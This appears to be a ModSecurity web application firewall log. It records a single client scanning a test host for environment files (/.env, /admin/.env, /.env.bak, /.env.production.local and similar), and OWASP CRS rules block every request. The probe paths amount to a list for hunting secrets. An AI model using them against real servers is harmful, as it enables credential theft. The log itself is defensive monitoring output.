[Sat Feb 28 14:51:52.588634 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aaLy-JOznqoIQpSELIbs1QAAAAE"]
[Sat Feb 28 14:51:55.950635 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aaLy-5OznqoIQpSELIbs1gAAAAE"]
[Sat Feb 28 14:51:55.950871 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aaLy-5OznqoIQpSELIbs1gAAAAE"]
[Sat Feb 28 14:51:55.951060 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aaLy-5OznqoIQpSELIbs1gAAAAE"]
[Sat Feb 28 14:51:57.887572 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs1wAAAAE"]
[Sat Feb 28 14:51:57.887798 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs1wAAAAE"]
[Sat Feb 28 14:51:57.888008 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs1wAAAAE"]
[Sat Feb 28 14:51:57.917215 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs2AAAAAE"]
[Sat Feb 28 14:51:57.917446 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs2AAAAAE"]
[Sat Feb 28 14:51:57.917641 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aaLy_ZOznqoIQpSELIbs2AAAAAE"]
[Sat Feb 28 14:51:57.972773 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aaLy_ZOznqoIQpSELIbs2QAAAAE"]
[Sat Feb 28 14:51:57.972891 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aaLy_ZOznqoIQpSELIbs2QAAAAE"]
[Sat Feb 28 14:51:57.973094 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aaLy_ZOznqoIQpSELIbs2QAAAAE"]
[Sat Feb 28 14:51:57.973303 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aaLy_ZOznqoIQpSELIbs2QAAAAE"]
[Sat Feb 28 14:51:58.117528 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3QAAAAE"]
[Sat Feb 28 14:51:58.117757 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3QAAAAE"]
[Sat Feb 28 14:51:58.117950 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3QAAAAE"]
[Sat Feb 28 14:51:58.145002 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3gAAAAE"]
[Sat Feb 28 14:51:58.145212 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3gAAAAE"]
[Sat Feb 28 14:51:58.145424 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3gAAAAE"]
[Sat Feb 28 14:51:58.171360 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3wAAAAE"]
[Sat Feb 28 14:51:58.171584 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3wAAAAE"]
[Sat Feb 28 14:51:58.171762 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aaLy_pOznqoIQpSELIbs3wAAAAE"]
[Sat Feb 28 14:51:58.195509 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4AAAAAE"]
[Sat Feb 28 14:51:58.195717 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4AAAAAE"]
[Sat Feb 28 14:51:58.195883 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4AAAAAE"]
[Sat Feb 28 14:51:58.216806 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4QAAAAE"]
[Sat Feb 28 14:51:58.216999 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4QAAAAE"]
[Sat Feb 28 14:51:58.217163 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aaLy_pOznqoIQpSELIbs4QAAAAE"]
[Sat Feb 28 14:51:58.289210 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aaLy_pOznqoIQpSELIbs5AAAAAE"]
[Sat Feb 28 14:51:58.289379 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aaLy_pOznqoIQpSELIbs5AAAAAE"]
[Sat Feb 28 14:51:58.289537 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aaLy_pOznqoIQpSELIbs5AAAAAE"]
[Sat Feb 28 14:51:58.311697 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aaLy_pOznqoIQpSELIbs5QAAAAE"]
[Sat Feb 28 14:51:58.311866 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aaLy_pOznqoIQpSELIbs5QAAAAE"]
[Sat Feb 28 14:51:58.312018 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aaLy_pOznqoIQpSELIbs5QAAAAE"]
[Sat Feb 28 14:51:58.340999 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aaLy_pOznqoIQpSELIbs5gAAAAE"]
[Sat Feb 28 14:51:58.341182 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aaLy_pOznqoIQpSELIbs5gAAAAE"]
[Sat Feb 28 14:51:58.341361 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aaLy_pOznqoIQpSELIbs5gAAAAE"]
[Sat Feb 28 14:51:58.362950 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aaLy_pOznqoIQpSELIbs5wAAAAE"]
